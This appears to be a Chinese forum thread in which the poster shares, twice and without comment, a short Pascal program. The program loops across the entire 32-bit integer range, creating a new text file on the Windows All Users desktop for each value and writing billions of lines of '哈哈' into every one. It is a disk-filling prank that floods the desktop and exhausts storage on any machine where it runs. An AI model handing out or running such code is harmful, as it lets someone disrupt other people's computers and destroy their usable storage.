level 11
千方残光剑41
楼主
program chen;
var i,j:longint;
t:string;
begin
for i:=-1*maxlongint-1 to maxlongint do
begin
str(i,t);
assign(output,'C:\Documents and Settings\All Users\桌面\'+t+'.txt');
rewrite(output);
for j:=-1*maxlongint-1 to maxlongint do
writeln('哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈');
close(output);
end;
end.
2014年01月04日 13点01分
1
var i,j:longint;
t:string;
begin
for i:=-1*maxlongint-1 to maxlongint do
begin
str(i,t);
assign(output,'C:\Documents and Settings\All Users\桌面\'+t+'.txt');
rewrite(output);
for j:=-1*maxlongint-1 to maxlongint do
writeln('哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈');
close(output);
end;
end.
